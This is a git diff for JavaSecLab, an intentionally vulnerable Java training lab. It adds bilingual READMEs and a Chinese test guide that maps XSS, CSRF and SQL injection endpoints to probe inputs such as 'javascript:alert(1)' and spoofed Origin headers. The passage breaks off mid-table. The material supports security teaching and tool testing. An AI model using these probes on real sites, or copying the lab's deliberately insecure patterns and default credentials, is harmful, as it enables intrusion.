diff --git a/.github/workflows/maven-build.yml b/.github/workflows/maven-build.yml new file mode 100644 index 0000000..a06bd5b --- /dev/null +++ b/.github/workflows/maven-build.yml @@ -0,0 +1,27 @@ +name: Maven Build + +on: + push: + branches: + - main + pull_request: + branches: + - main + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up JDK 8 + uses: actions/setup-java@v4 + with: + distribution: temurin + java-version: 8 + cache: maven + + - name: Build + run: mvn -B -DskipTests package diff --git a/.gitignore b/.gitignore index 3b720ab..ee547e7 100644 --- a/.gitignore +++ b/.gitignore @@ -36,4 +36,5 @@ build/ /logs/ /.idea/ -/src/test/ \ No newline at end of file +/src/test/ +src/main/resources/application-aliyun.yml \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index 876ae8e..25dab45 100644 --- a/Dockerfile +++ b/Dockerfile @@ -3,7 +3,7 @@ FROM openjdk:8 WORKDIR /work LABEL maintainer="whgojp@foxmail.com" -LABEL version="1.3" +LABEL version="1.5" LABEL description="I think therefore I am." COPY target/JavaSecLab.jar /work/JavaSecLab.jar diff --git a/README.md b/README.md index 1298643..598e722 100644 --- a/README.md +++ b/README.md @@ -1,163 +1,201 @@ -# ![](./pic/logo.png)JavaSecLab 一款综合Java漏洞平台 +# ![](./pic/logo.png) JavaSecLab - A Comprehensive Java Vulnerability Lab
License - Release - Version + Java + Version Developed by whgojp - GitHub Repo stars + GitHub Repo stars GitHub forks
----------------------------------------- +[中文文档](./README_ZH.md) -## 项目介绍 -​ JavaSecLab是**一款综合型Java漏洞平台**,提供相关漏洞缺陷代码、修复代码、漏洞场景、审计SINK点、安全编码规范,覆盖多种漏洞场景,友好用户交互UI…… +---------------------------------------- -![image-20241020143155383](./pic/home.png) +## Overview -![show](./pic/show.png) +JavaSecLab is a comprehensive Java vulnerability lab for application security learning, code audit practice, secure development training, and security tool evaluation. Built on Spring Boot, it provides vulnerable code, fixed implementations, realistic attack scenarios, audit-oriented source and sink notes, remediation guidance, secure coding explanations, and traffic-analysis examples. -## 面向人群 +The goal is practical: help users understand not only how a vulnerability is exploited, but also why it exists in code and how it should be fixed. -- 安全服务方面:帮助安全服务人员理解漏洞原理(产生、修复、审计) +![home](./pic/home.png) -- 甲方安全方面:可作为开发安全培训演示,友好的交互方式,帮助研发同学更容易理解漏洞 +![show](./pic/show.png) -- 安全研究方面:各种漏洞的不同触发场景,可用于xAST等安全工具测试 +## Who Is It For? +- **Security service teams**: explain vulnerability causes, exploitation paths, fixes, audit flows, and traffic patterns. +- **Enterprise security teams**: use it for SDL, DevSecOps, secure development training, and security awareness programs. +- **Security researchers**: test SAST, DAST, IAST, RASP, SCA, xAST, reachability analysis, and other security tools. +- **Java developers**: learn common application security issues from real code instead of abstract checklists. -## 支持漏洞模块 +## Vulnerability Modules -- 跨站脚本攻击、跨站请求伪造、CORS、JSONP、URL重定向、XFF伪造、拒绝服务、XPATH注入 +JavaSecLab covers a wide range of Java web security scenarios, including: -- SQL注入、任意文件系列、跨服务端请求伪造、XML实体注入、RCE +- XSS, CSRF, CORS, JSONP, URL redirection, XFF spoofing, denial of service, and XPath injection +- SQL injection, arbitrary file read/upload/download/delete, SSRF, XXE, and RCE +- Business logic flaws: IDOR, captcha security, payment security, and concurrency security +- Sensitive information disclosure, login confrontation, request signing, and JWT credential security +- SpEL injection, SSTI, and Java deserialization +- Fastjson, Jackson, XStream, Log4j2, Shiro, SnakeYAML, XMLDecoder, and other component/ecosystem cases +- Spring Boot ecosystem exposure: Swagger, Actuator, Druid, MySQL JDBC deserialization, and more -- 逻辑漏洞(IDOR、验证码安全、支付安全、并发安全)、敏感信息泄漏系列、登录对抗系列 +## Online Demo -- SPEL注入、SSTI注入、反序列化、组件漏洞 +Demo site: +Default account: `admin/admin` -## 在线环境体验 +> JavaSecLab is intentionally vulnerable and contains dangerous endpoints, vulnerable dependencies, and insecure configurations. Run your own deployment only in an isolated environment. Do not expose it directly to the public internet. -http://whgojp.top/ +## Why This Project Exists -账号密码:admin/admin +The author has worked in enterprise security roles and experienced the full vulnerability lifecycle. After penetration tests or security assessments, vulnerabilities are often assigned to development teams through systems such as TAPD or Jira. In practice, two questions come up repeatedly: -## 项目灵感 +1. Why is this behavior a vulnerability? +2. How should this vulnerability be fixed? -​ 曾在甲方单位工作过一段时间,有机会接触到完整的**漏洞生命周期**:很多次做完渗透测试后,通过(TAPD、Jira)发送工单通知研发同学修复漏洞,经常面临着一些问题:**1、研发不知道为什么这是个漏洞?2、研发不知道这个漏洞怎么修复?** -​ 由此,一个想法💡油然而生,恰巧自己也懂些开发知识,想着可不可以通过代码的方式让研发同学快速了解漏洞的产生与修复…… +JavaSecLab was created to connect vulnerability behavior, vulnerable code, remediation approaches, and audit thinking. Compared with a text-only report or a PoC, the project emphasizes understanding vulnerabilities from the code perspective. -> 平台提供相关漏洞的安全编码规范,甲方朋友在做SDL/DevSecOps建设的时候,可以考虑加入开发安全培训这一环节 +In code auditing, a common workflow is to locate a **sink** first, such as command execution, SQL execution, file access, template rendering, deserialization, or response output. The auditor then traces backward to identify the corresponding **source**, such as request parameters, headers, cookies, uploaded files, serialized data, or database content. Many JavaSecLab scenarios are designed around this source-to-sink path, making them useful for both learning and tool verification. -​ 此外,自己也做过安全服务类项目,我想大部分朋友会和我一下,只是按照 信息收集->外网打点->发现漏洞->输出报告 这个流程测试,对于漏洞怎么产生、怎么修复,似乎并不关心…… +The same vulnerability type often appears through multiple trigger paths in real systems. JavaSecLab therefore provides multiple scenarios for core vulnerability classes where possible, so users can compare how different coding patterns, framework features, and business flows affect risk. -​ 代码审计过程中,通常是先定位SINK点(即代码执行或输出的关键位置),然后再回溯寻找对应的SOURCE点(即输入或数据来源的位置)。通过将SOURCE点和SINK点串联起来,来完成代码审计工作 +## Traffic Analysis -> 平台针对每种漏洞提供对应缺陷代码、多种安全安全修复方式(例如:1、升级修复 2、非升级修复),同时针对代码审计,平台也提供相关漏洞的SINK点 +JavaSecLab includes vulnerability traffic-analysis examples to help learners connect request/response behavior with code execution. Contributions with clearer packets, better reproduction notes, or additional analysis examples are welcome. -​ 再后来,接触了应用安全产品,SCA、SAST、DAST、RASP等,看待安全漏洞似乎又是另一种角度,对于客户来说,采购的安全工具,无论是扫源码、容器、镜像……,都希望尽可能的扫到更多的漏洞,当然也希望少点误报,笔者也或多或少接触到可达性分析等相关技术,项目中也针对每种漏洞编写了不同的触发场景,感兴趣的朋友可以测试一下…… +![flow1](./pic/flow1.png) -> 平台针对同种漏洞提供多种触发场景 +For example, in a time-based SQL injection scenario, the traffic pattern can be observed through response latency: the server responds after roughly five seconds. -…… +![flow2](./pic/flow2.png) -## 技术架构 +## Tech Stack -​ SpringBoot + Spring Security + MyBatis + Thymeleaf + Layui +- Spring Boot +- Spring Security +- MyBatis / MyBatis-Plus +- JPA / Hibernate +- Thymeleaf +- Layui +- MySQL -## 部署方式 +## Deployment -先clone下项目代码 +Clone the repository: ```shell git clone https://github.com/whgojp/JavaSecLab.git +cd JavaSecLab ``` -![image-20240905230400930](./pic/git-clone.png) - -### 本地部署-IDEA +![git clone](./pic/git-clone.png) -> JDK环境 1.8 +### Local Deployment with IDEA -1. 配置数据库(**Mysql 8.0+**) +Requirements: - 执行 sql/JavaSecLab.sql 文件 +- JDK 8 +- MySQL 8.0+ +- Maven - 修改配置文件application.yml active为dev(项目默认为docker 如果搭建的过程中出现数据库连接错误 师傅们可以注意下这里) +1. Create the database and import [sql/JavaSecLab.sql](./sql/JavaSecLab.sql). +2. Set the active profile to `dev` in [src/main/resources/application.yml](./src/main/resources/application.yml): ```yaml spring: - # 环境 dev|docker profiles: active: dev ``` - -2. 修改application-dev.yml配置文件 -```yaml -username: root -password: QWE123qwe -url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true -``` +3. Update the database connection in [src/main/resources/application-dev.yml](./src/main/resources/application-dev.yml): + + ```yaml + username: root + password: QWE123qwe + url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + ``` + +4. Start the application from IDEA or with Maven. + +Default account: `admin/admin` -logo +![login](./pic/login.png) -初始账号密码:admin/admin(后台可修改) +### Docker Deployment -### Docker部署(推荐) +Requirements: -> 条件:已安装docker和docker-compose -> -> docker部署过程中 sql文件没有初始化执行的话(即数据库为空) 需要手动导入下sql文件 +- Docker +- Docker Compose + +Build and start the lab: ```shell mvn clean package -DskipTests docker-compose -p javaseclab up -d ``` -![image-20240905225532698](./pic/deploy-docker.png) +If the database is empty after startup, manually import [sql/JavaSecLab.sql](./sql/JavaSecLab.sql). -![image-20240905225532698](./pic/deploy-docker2.png) +![docker deployment](./pic/deploy-docker.png) -更多部署方案、部署问题解答详见:[部署指南](https://github.com/whgojp/JavaSecLab/wiki/%E9%83%A8%E7%BD%B2%E6%8C%87%E5%8D%97) +![docker deployment](./pic/deploy-docker2.png) -## 开源协议 +For more deployment options and troubleshooting notes, see the [Deployment Guide](https://github.com/whgojp/JavaSecLab/wiki/%E9%83%A8%E7%BD%B2%E6%8C%87%E5%8D%97). -​ **When we speak of free software, we are referring to freedom, not price.** +## Security Notice -本项目遵循 [Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0) 协议,详细的许可证内容请参见项目中的 [LICENSE](./LICENSE) 文件。 +JavaSecLab is a vulnerable lab project. It intentionally keeps dangerous endpoints, vulnerable dependencies, and insecure configurations for reproduction and teaching. Run it only locally or in an isolated network. -## 更新记录 +Recommended precautions: -项目的详细更新记录请参阅 [更新日志](https://github.com/whgojp/JavaSecLab/wiki/%E6%9B%B4%E6%96%B0%E6%97%A5%E5%BF%97) +- Do not deploy JavaSecLab directly on a public network. +- Use disposable accounts, test databases, and isolated containers. +- Do not mount sensitive host directories into the container. +- Review exposed ports before running Docker Compose. +- Treat uploaded files, generated files, and logs as untrusted data. -## 一些Tips🙋 +The secure code examples in this project are for teaching and demonstration. Real business systems usually require authentication, auditing, rate limiting, data validation, dependency governance, monitoring, alerting, and defense in depth. -1. 安全问题:由于是漏洞靶场,因此不建议搭建在公网上使用 -1. 项目中的安全修复代码仅供参考,实际业务中漏洞修复起来可能要复杂的多…… -1. **问题/建议反馈:如果遇到一些项目问题或者更好的建议,欢迎各位师傅可以提Issue或加交流群进行反馈** -1. **看到这里,师傅觉得项目有用的话,麻烦动动手点个star吧,非常感谢🙏** +## Contributing -## 关于作者 +Issues and pull requests are welcome. Good contributions include: -作者博客:[今天是几号](https://blog.csdn.net/weixin_53009585) +- New vulnerability scenarios with clear vulnerable and fixed code +- More accurate source/sink notes and code-audit explanations +- Better vulnerability traffic packets and analysis notes +- Deployment fixes and documentation improvements +- UI and interaction improvements that make the lab easier to teach with -**如果师傅同样对开发安全、应用安全、SDL、漏洞靶场等感兴趣的话,欢迎加交流群一起探讨……** +## License -
- description - description -
+**When we speak of free software, we are referring to freedom, not price.** + +JavaSecLab is released under the [Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0). See [LICENSE](./LICENSE) for details. + +## Changelog -## 赞助开源 +See the [Update Log](https://github.com/whgojp/JavaSecLab/wiki/%E6%9B%B4%E6%96%B0%E6%97%A5%E5%BF%97) for release notes and project history. -​ 如果您觉得这个工具对您有帮助,不妨考虑支持一下作者的开发工作。您的赞助将用于维护在线服务器和持续优化项目功能,非常感谢您的鼓励和支持! +## Author + +Author's blog: [今天是几号](https://blog.csdn.net/weixin_53009585) + +If you are interested in application security, secure development, SDL, DevSecOps, or vulnerability labs, feel free to join the community group.
- -
+ WeChat + Community group + +## Sponsorship +If JavaSecLab helps you, sponsorship is appreciated. Support will be used for maintaining the online environment and continuously improving the project. +
+ Sponsor JavaSecLab +
diff --git a/README_ZH.md b/README_ZH.md new file mode 100644 index 0000000..b51891f --- /dev/null +++ b/README_ZH.md @@ -0,0 +1,201 @@ +# ![](./pic/logo.png) JavaSecLab - 综合型 Java 漏洞靶场 + +
+ License + Java + Version + Developed by whgojp + GitHub Repo stars + GitHub forks +
+ +[English](./README.md) + +---------------------------------------- + +## 项目介绍 + +JavaSecLab 是一款面向应用安全学习、代码审计训练、开发安全培训和安全工具测试的综合型 Java 漏洞靶场。项目基于 Spring Boot 构建,围绕真实 Java Web 项目中常见的漏洞入口,提供缺陷代码、修复代码、漏洞场景、审计 Source/Sink、修复思路、安全编码说明和漏洞流量分析。 + +项目希望解决一个很实际的问题:不仅让使用者知道“漏洞怎么打”,也能看清“漏洞为什么会在代码里产生,以及应该如何修”。 + +![home](./pic/home.png) + +![show](./pic/show.png) + +## 适用人群 + +- **安全服务人员**:用于讲解漏洞原理、触发方式、修复方案、审计路径和流量特征。 +- **企业安全团队**:作为 SDL、DevSecOps、开发安全培训和安全意识建设的演示平台。 +- **安全研究人员**:用于测试 SAST、DAST、IAST、RASP、SCA、xAST、可达性分析等安全工具。 +- **Java 研发同学**:通过真实代码理解常见安全问题,避免只停留在抽象规范和检查清单。 + +## 漏洞模块 + +JavaSecLab 覆盖多类 Java Web 安全场景,包括: + +- 跨站脚本、跨站请求伪造、CORS、JSONP、URL 重定向、XFF 伪造、拒绝服务、XPath 注入 +- SQL 注入、任意文件读取/上传/下载/删除、SSRF、XXE、RCE +- 逻辑漏洞:越权访问、验证码安全、支付安全、并发安全 +- 敏感信息泄漏、登录对抗、请求签名、JWT 凭证安全 +- SpEL 表达式注入、SSTI 模板注入、Java 反序列化 +- Fastjson、Jackson、XStream、Log4j2、Shiro、SnakeYAML、XMLDecoder 等组件与生态场景 +- Spring Boot 生态暴露面:Swagger、Actuator、Druid、MySQL JDBC 反序列化等 + +## 在线体验 + +在线地址: + +默认账号:`admin/admin` + +> JavaSecLab 是漏洞靶场,包含故意保留的漏洞代码、危险依赖和不安全配置。自行部署时请放在隔离环境中,不建议直接暴露到公网。 + +## 项目初衷 + +作者曾在甲方单位接触过比较完整的漏洞生命周期:渗透测试或安全评估结束后,通过 TAPD、Jira 等系统把漏洞工单发送给研发同学修复。但在实际沟通过程中,经常会遇到两个问题: + +1. 研发同学不知道为什么这是一个漏洞。 +2. 研发同学不知道这个漏洞应该怎样修复。 + +JavaSecLab 的出发点就是把漏洞现象、代码缺陷、修复方案和审计思路串起来。相比只给出文字报告或 PoC,本项目更强调从代码视角理解漏洞产生的原因。 + +在代码审计中,常见方法是先定位 **Sink 点**,例如命令执行、SQL 执行、文件访问、模板渲染、反序列化、响应输出等关键位置;再向上回溯 **Source 点**,例如请求参数、Header、Cookie、上传文件、序列化数据、数据库内容等输入来源。JavaSecLab 的很多场景都围绕 Source 到 Sink 的链路设计,便于学习和工具验证。 + +同一种漏洞在真实业务中往往有多种触发路径。因此项目也尽量为核心漏洞补充多个场景,帮助使用者理解不同代码写法、框架特性和业务流程下的风险差异。 + +## 流量分析 + +项目内置了部分漏洞流量分析内容,方便结合请求包、响应包和代码行为理解漏洞特征。如果你有更清晰的漏洞流量包、复现说明或分析样例,欢迎提交 PR 一起完善。 + +![flow1](./pic/flow1.png) + +以延时注入为例,可以从响应时间上观察到明显特征:服务端约 5 秒后返回响应。 + +![flow2](./pic/flow2.png) + +## 技术栈 + +- Spring Boot +- Spring Security +- MyBatis / MyBatis-Plus +- JPA / Hibernate +- Thymeleaf +- Layui +- MySQL + +## 部署方式 + +克隆项目: + +```shell +git clone https://github.com/whgojp/JavaSecLab.git +cd JavaSecLab +``` + +![git clone](./pic/git-clone.png) + +### 本地部署 IDEA + +环境要求: + +- JDK 8 +- MySQL 8.0+ +- Maven + +1. 创建数据库并导入 [sql/JavaSecLab.sql](./sql/JavaSecLab.sql)。 +2. 修改 [src/main/resources/application.yml](./src/main/resources/application.yml),将环境切换为 `dev`: + + ```yaml + spring: + profiles: + active: dev + ``` + +3. 修改 [src/main/resources/application-dev.yml](./src/main/resources/application-dev.yml) 中的数据库连接信息: + + ```yaml + username: root + password: QWE123qwe + url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + ``` + +4. 使用 IDEA 启动项目,或通过 Maven 启动。 + +默认账号:`admin/admin` + +![login](./pic/login.png) + +### Docker 部署 + +环境要求: + +- Docker +- Docker Compose + +构建并启动: + +```shell +mvn clean package -DskipTests +docker-compose -p javaseclab up -d +``` + +如果容器启动后数据库为空,请手动导入 [sql/JavaSecLab.sql](./sql/JavaSecLab.sql)。 + +![docker deployment](./pic/deploy-docker.png) + +![docker deployment](./pic/deploy-docker2.png) + +更多部署方案和常见问题见:[部署指南](https://github.com/whgojp/JavaSecLab/wiki/%E9%83%A8%E7%BD%B2%E6%8C%87%E5%8D%97) + +## 安全提示 + +JavaSecLab 为漏洞靶场项目,包含故意保留的危险接口、漏洞依赖和不安全配置。请只在本地或隔离网络中运行。 + +建议注意: + +- 不要把靶场直接部署到公网。 +- 使用一次性账号、测试数据库和隔离容器环境。 +- 不要把宿主机敏感目录挂载进容器。 +- 启动 Docker Compose 前检查暴露端口。 +- 将上传文件、生成文件和日志都视为不可信数据。 + +项目中的安全修复代码用于教学和演示,真实业务系统通常还需要结合鉴权、审计、限流、数据校验、依赖治理、监控告警和纵深防御。 + +## 贡献 + +欢迎提交 Issue 或 Pull Request。比较适合贡献的内容包括: + +- 新漏洞场景,以及对应的缺陷代码和修复代码 +- 更准确的 Source/Sink 说明和代码审计笔记 +- 更清晰的漏洞流量包和流量分析说明 +- 部署问题修复和文档改进 +- 更适合教学演示的交互和页面优化 + +## 开源协议 + +**When we speak of free software, we are referring to freedom, not price.** + +本项目遵循 [Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0) 协议,详细内容请参见 [LICENSE](./LICENSE)。 + +## 更新记录 + +项目详细更新记录见:[更新日志](https://github.com/whgojp/JavaSecLab/wiki/%E6%9B%B4%E6%96%B0%E6%97%A5%E5%BF%97) + +## 关于作者 + +作者博客:[今天是几号](https://blog.csdn.net/weixin_53009585) + +如果你同样关注应用安全、开发安全、SDL、DevSecOps 或漏洞靶场,欢迎加入交流群一起讨论。 + +
+ WeChat + Community group +
+ +## 赞助开源 + +如果 JavaSecLab 对你有帮助,欢迎支持作者继续维护。赞助将用于在线环境维护和项目功能持续优化,感谢你的鼓励和支持。 + +
+ Sponsor JavaSecLab +
diff --git a/docker-compose.yml b/docker-compose.yml index 8eb7c92..ccd94f1 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -15,7 +15,7 @@ services: - JavaSecLabNet JavaSecLab: - image: javaseclab:1.3 + image: javaseclab:1.5 container_name: Container-JavaSecLab restart: always build: . diff --git a/docs/instructions.md b/docs/instructions.md new file mode 100644 index 0000000..20b8630 --- /dev/null +++ b/docs/instructions.md @@ -0,0 +1,993 @@ +# 常规漏洞 + +## 跨站脚本 +当前覆盖反射型、存储型、DOM型、模板引擎不安全渲染、文件上传导致的存储型XSS、第三方组件XSS、WebSocket XSS、postMessage XSS、CSP、HttpOnly、输出编码等常见场景。 + +XSS的本质是不可信数据进入浏览器页面执行上下文后,被当作HTML、脚本、URL或可执行DOM操作解析。修复优先按输出上下文处理数据,普通文本使用HTML实体编码或安全DOM API,URL/属性/JavaScript/CSS等位置使用对应编码与白名单校验;CSP、HttpOnly、输入过滤是辅助防护,不能替代根因修复。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| 反射型XSS | GET/POST参数、String直出、Content-Type差异 | 覆盖请求即触发、响应类型影响浏览器解析的基础成因 | +| 反射型安全写法 | 前后端白名单、CSP、HTML正文输出编码、HttpOnly | 覆盖常见防护,并明确白名单/CSP/HttpOnly不是根因修复 | +| 存储型XSS | 表单内容、User-Agent持久化、表格不安全渲染 | 覆盖先存储后触发,也包含Header进入持久化链路 | +| 存储型安全写法 | 表格渲染阶段输出编码 | 说明数据库可保存原始值,进入页面前必须按上下文编码或净化 | +| DOM型XSS | innerHTML、localStorage、hash跳转、location、eval、document.write | 覆盖常见Source到Sink的客户端链路 | +| DOM型安全写法 | textContent、URL协议白名单、命令映射、createTextNode | 覆盖DOM侧推荐修复方式 | +| 其他场景 | Thymeleaf `th:utext`、文件上传、jQuery/Swagger/UEditor、WebSocket、postMessage | 覆盖模板、文件、供应链与HTML5通信场景 | + +### 反射型XSS测试 + +页面:`/xss/reflect/vul` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| GET型JSON返回 | `GET /xss/reflect/vul1?payload=` | HTML事件载荷 | 接口返回payload;页面结果区使用不安全HTML渲染时可触发 | +| POST型JSON返回 | `POST /xss/reflect/vul1` | `payload=` | 接口返回payload;验证POST入口同样可控 | +| String直出 | `GET /xss/reflect/vul2?payload=` | 脚本标签 | 响应体直接包含payload,用于观察浏览器解析行为 | +| text/plain | `GET /xss/reflect/vul3?type=plain&payload=` | 脚本标签 | `Content-Type`为`text/plain;charset=utf-8`,浏览器按文本展示 | +| text/html | `GET /xss/reflect/vul3?type=html&payload=` | 脚本标签 | `Content-Type`为`text/html;charset=utf-8`,浏览器按HTML解析 | +| 流量包/示例载荷 | 页面下拉与按钮 | 标签探测、流量劫持、Cookie读取、页面篡改 | 示例可填充,按钮可提交 | + +### 反射型安全场景测试 + +页面:`/xss/reflect/safe` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 前端白名单 | `GET /xss/reflect/safe1?type=frontEnd&payload=` | 非白名单字符 | 页面按钮触发时前端拦截;直接请求仍会返回,说明前端不是安全边界 | +| 后端白名单 | `GET /xss/reflect/safe1?type=backEnd&payload=` | 非白名单字符 | 返回“输入内容包含非法字符,请检查输入” | +| CSP Header | `GET /xss/reflect/safe2?payload=` | 脚本标签 | 响应包含`Content-Security-Policy`,用于演示防御层 | +| HTML正文手动编码 | `GET /xss/reflect/safe3?type=manual&payload=` | HTML事件载荷 | 返回实体编码后的内容,不作为标签执行 | +| Spring HTML编码 | `GET /xss/reflect/safe3?type=spring&payload=` | HTML事件载荷 | 返回Spring编码后的内容 | +| HttpOnly | `GET /xss/reflect/safe4?payload=` | Cookie读取载荷 | 返回设置结果,响应`Set-Cookie`应带`HttpOnly` | + +### 存储型XSS测试 + +页面:`/xss/store` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 原生写入 | `POST /xss/store/vul` | `payload=` | 写入成功,漏洞表格不安全渲染时可触发 | +| User-Agent持久化 | `POST /xss/store/vul` | Header `User-Agent: ` | UA字段被持久化,漏洞表格不安全渲染时可触发 | +| 列表查询 | `GET /xss/store/getXssList?page=1&limit=10` | 无 | 返回分页数据,包含刚写入记录 | +| 安全表格 | 页面安全场景表格 | 已存储恶意内容 | Content与User-Agent经HTML实体编码展示,不执行脚本 | +| 删除记录 | `POST /xss/store/deleteOne?id=<记录ID>` | 已存在ID | 返回删除成功,页面表格记录消失 | + +### DOM型XSS测试 + +页面:`/xss/dom` + +| 场景 | 入口 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| innerHTML | 多种代码场景/innerHTML | `123123` | 结果区使用`innerHTML`写入,事件载荷可执行 | +| LocalStorage | 多种代码场景/LocalStorage | `123123` | 先写入`localStorage`,再读取并不安全写入DOM | +| hash跳转 | `/xss/dom/href#javascript:alert(1)` | `javascript:`伪协议 | 页面读取`location.hash`并赋值给`location.href` | +| location | 多种代码场景/location对象 | `javascript:alert(1)` | 直接赋值给`window.location`,用于演示危险URL Sink | +| eval | 多种代码场景/eval执行 | `alert(1)` | 用户输入被`eval`执行 | +| document.write | 多种代码场景/document对象 | `` | `document.write`写入HTML并可能触发 | +| 文本安全输出 | 安全场景/文本输出 | `` | 使用`textContent`,作为文本展示 | +| URL安全校验 | 安全场景/URL跳转 | `javascript:alert(1)` | 拦截危险协议 | +| 替代eval | 安全场景/替代eval | `alert(1)` | 命令白名单无匹配,拒绝执行 | +| DOM API | 安全场景/DOM API | `` | 使用文本节点展示,不执行脚本 | + +### 其他XSS场景测试 + +页面:`/xss/other` + +| 场景 | 请求/入口 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| Thymeleaf `th:utext` | `GET /xss/other/vul2OtherTemplate?type=html&payload=` | HTML事件载荷 | `th:utext`按HTML渲染,演示模板不安全输出 | +| Thymeleaf `th:text` | `GET /xss/other/vul2OtherTemplate?type=text&payload=` | HTML事件载荷 | `th:text`实体转义,作为文本展示 | +| HTML文件上传 | `POST /xss/other/vul1Upload?type=html` | `xss.html` | 返回可访问文件路径,访问后按浏览器解析策略触发/展示 | +| SVG文件上传 | `POST /xss/other/vul1Upload?type=svg` | `xss.svg` | 返回可访问文件路径,用于验证可解析文件风险 | +| XML文件上传 | `POST /xss/other/vul1Upload?type=xml` | `xss.xml` | 后端解析成功后落盘,返回访问路径 | +| PDF文件上传 | `POST /xss/other/vul1Upload?type=pdf` | `xss.pdf` | 返回访问路径;PDF脚本执行能力取决于阅读器实现 | +| jQuery组件XSS | `/xss/other/jquery-xss` | 页面内示例 | 页面可打开,用于演示旧版jQuery风险 | +| Swagger UI组件XSS | `/swagger-ui/index.html?configUrl=...` | 恶意配置URL示例 | 页面可打开,用于供应链组件风险演示 | +| UEditor | `/ueditor`、`/ueditor/config` | 编辑器上传/配置 | 页面与配置接口可访问,上传接口返回UEditor格式结果 | +| WebSocket XSS | 页面HTML5特性/WebSocket XSS | `` | 服务端广播消息,前端用`innerHTML`写入消息区 | +| postMessage XSS | 页面HTML5特性/PostMessage XSS | `` | 接收窗口未校验origin且用`innerHTML`写入消息 | + +## CSRF + +当前覆盖基于登录态 Cookie 的状态变更请求、CSRF Token 校验、Origin/Referer 辅助校验三类核心场景。模块重点演示“用户已登录 + 浏览器自动携带凭证 + 服务端缺少请求来源或意图校验”这一条攻击链。 + +CSRF的本质是攻击者诱导已登录用户访问恶意页面或触发恶意请求,浏览器自动携带目标站点 Cookie/Session 等凭证,服务端误以为请求来自用户本人,从而执行转账、改密、绑定账号等敏感操作。修复优先使用框架内置 CSRF 防护或不可预测的 CSRF Token;Origin/Referer、SameSite Cookie、二次确认、操作审计是重要补充,但不应替代 Token 和服务端鉴权。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| 原生漏洞 | `GET /csrf/vul` 只依赖登录态执行转账 | 覆盖最基础的跨站请求伪造风险,GET 状态变更会放大问题 | +| Token防护 | `GET /csrf/safe1` 校验 Session 中的随机 Token | 覆盖 CSRF 的主流修复方式 | +| 来源校验 | `GET /csrf/safe2` 校验 Origin/Referer 的协议、域名、端口 | 适合作为 Token 之外的辅助防线 | +| 安全编码提示 | 页面说明 SameSite、二次确认、短有效期、审计 | 覆盖业务侧加固建议 | + +### CSRF漏洞场景测试 + +页面:`/csrf` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /csrf` | 已登录会话 | 页面正常打开,展示原生漏洞、Token防护、Origin/Referer辅助校验和代码片段 | +| 原生转账 | `GET /csrf/vul?receiver=zhangsan&amount=100` | 已登录会话 | 返回当前登录用户、收款人和金额,说明仅凭 Cookie/Session 即可触发状态变更 | +| 未登录访问 | `GET /csrf/vul?receiver=zhangsan&amount=100` | 无登录会话 | 跳转登录页或被认证流程拦截 | +| GET状态变更 | 页面“漏洞场景:原生漏洞场景”表单 | `receiver=zhangsan&amount=100` | 点击后以 GET 打开转账结果,便于观察 CSRF 风险 | + +### CSRF安全场景测试 + +页面:`/csrf` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 获取Token | `GET /csrf/getCsrfToken` | 已登录会话 | 返回随机 `csrfToken`,并写入 Session | +| Token缺失 | `GET /csrf/safe1?receiver=zhangsan&amount=100` | 不带 `csrfToken` | 返回 `success=false` 和 “Token失效!” | +| Token错误 | `GET /csrf/safe1?receiver=zhangsan&amount=100&csrfToken=bad` | 错误Token | 返回 `success=false` 和 “Token失效!” | +| Token正确 | `GET /csrf/safe1?receiver=zhangsan&amount=100&csrfToken=` | Session中生成的Token | 返回当前用户、收款人、金额和Token | +| Origin/Referer缺失 | `GET /csrf/safe2?receiver=zhangsan&amount=100` | 不带来源头 | 返回 `success=false` 和 “Origin/Referer无效!” | +| Origin恶意来源 | `GET /csrf/safe2?receiver=zhangsan&amount=100` | Header `Origin: http://evil.example` | 返回 `success=false` | +| Origin同源 | `GET /csrf/safe2?receiver=zhangsan&amount=100` | Header `Origin: http://127.0.0.1` | 返回当前用户、收款人和金额 | +| Referer同源 | `GET /csrf/safe2?receiver=zhangsan&amount=100` | Header `Referer: http://127.0.0.1/csrf` | 返回当前用户、收款人和金额 | + +## SQL注入 + +当前覆盖JDBC原生拼接、伪预编译拼接、JdbcTemplate拼接、参数化查询、MyBatis动态SQL、Hibernate HQL/原生SQL、JPA JPQL/动态排序等常见开发栈。 + +SQL注入的本质是不可信输入进入SQL语法结构并改变原SQL语义;修复优先使用参数化查询,列名、表名、排序方向等SQL结构必须使用枚举或白名单映射。黑名单、类型校验、ESAPI编码只作为辅助方案,不应作为首选修复方案。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| JDBC | 